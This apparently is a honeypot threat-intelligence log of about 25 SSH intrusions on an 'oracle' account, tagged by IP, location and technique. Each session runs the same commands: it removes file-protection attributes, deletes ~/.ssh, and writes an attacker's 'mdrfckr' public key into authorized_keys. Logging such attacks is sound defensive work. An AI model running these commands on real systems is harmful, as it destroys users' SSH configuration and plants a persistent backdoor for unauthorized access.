โ†ณ SSH key persistence
๐ŸŽญ midnight_seoul_sol (211.178.247.182) โ€” Gwangmyeong, South Korea ยท 1 session ยท 2 cmds
2026-07-05 04:47 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ zealous_phantom_sol (186.103.169.12) โ€” La Pintana, Chile ยท 1 session ยท 2 cmds
2026-07-05 04:46 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence (repeated file attribute tampering 3x)
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ rusty_monsoon_sol (122.168.194.41) โ€” Rฤipur, India ยท 1 session ยท 2 cmds
2026-07-05 04:45 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ rabid_bibimbap_sol (112.151.178.49) โ€” Seongnam-si, South Korea ยท 1 session ยท 2 cmds
2026-07-05 04:44 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ drowsy_tiger_sol (45.194.3.128) โ€” Noida, India ยท 1 session ยท 2 cmds
2026-07-05 04:42 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ silent_monsoon_sol (143.110.251.21) โ€” Bengaluru, India ยท 1 session ยท 2 cmds
2026-07-05 04:41 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ murky_satay_sol (202.184.156.3) โ€” Cyberjaya, Malaysia ยท 1 session ยท 2 cmds
2026-07-05 04:40 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ ironclad_wraith_sol (181.188.237.214) โ€” Latacunga, Ecuador ยท 1 session ยท 2 cmds
2026-07-05 04:39 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ stoic_tango_sol (186.148.224.183) โ€” Villa Josรฉ Leรณn Suรกrez, Argentina ยท 1 session ยท 2 cmds
2026-07-05 04:37 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ placid_volcano_sol (36.69.160.99) โ€” Medan, Indonesia ยท 1 session ยท 2 cmds
2026-07-05 04:37 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ unhinged_burger_sol (23.95.8.134) โ€” Buffalo, United States ยท 1 session ยท 2 cmds
2026-07-05 04:37 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ velvet_pistachio_sol (85.185.201.10) โ€” Ardabil, Iran ยท 1 session ยท 2 cmds
2026-07-05 04:36 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ murky_boba_sol (61.223.116.74) โ€” Changhua, Taiwan ยท 1 session ยท 2 cmds
2026-07-05 04:33 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ grumpy_sundarban_sol (103.163.117.83) โ€” Dhaka, Bangladesh ยท 1 session ยท 2 cmds
2026-07-05 04:32 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ aloof_husk_sol (157.10.100.12) โ€” Patan, Nepal ยท 1 session ยท 2 cmds
2026-07-05 04:32 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ spectral_delta_sol (144.79.133.252) โ€” Dhaka, Bangladesh ยท 1 session ยท 2 cmds
2026-07-05 04:31 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ cryptic_savanna_sol (102.210.148.92) โ€” Johannesburg, South Africa ยท 1 session ยท 2 cmds
2026-07-05 04:31 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ sullen_mekong_sol (103.172.236.241) โ€” ฤแป‘ng ฤa, Vietnam ยท 1 session ยท 2 cmds
2026-07-05 04:30 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ ironclad_acai_sol (177.11.196.84) โ€” Feliz, Brazil ยท 1 session ยท 2 cmds
2026-07-05 04:28 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ listless_wraith_sol (8.243.73.162) โ€” Campo de la Cruz, Colombia ยท 1 session ยท 2 cmds
2026-07-05 04:27 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ silent_bamboo_sol_158 (160.191.244.158) โ€” ฤแป‘ Sฦกn, Vietnam ยท 1 session ยท 2 cmds
2026-07-05 04:24 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ grumpy_kudu_sol (102.210.149.105) โ€” Johannesburg, South Africa ยท 1 session ยท 2 cmds
2026-07-05 04:24 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ glitchy_pho_sol (103.172.236.15) โ€” ฤแป‘ng ฤa, Vietnam ยท 1 session ยท 2 cmds
2026-07-05 04:23 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ frantic_durian_sol (103.189.235.93) โ€” Singapore, Singapore ยท 1 session ยท 2 cmds
2026-07-05 04:23 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ rogue_echo_sol (41.93.28.23) โ€” Dar es Salaam, Tanzania ยท 1 session ยท 2 cmds
2026-07-05 04:23 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
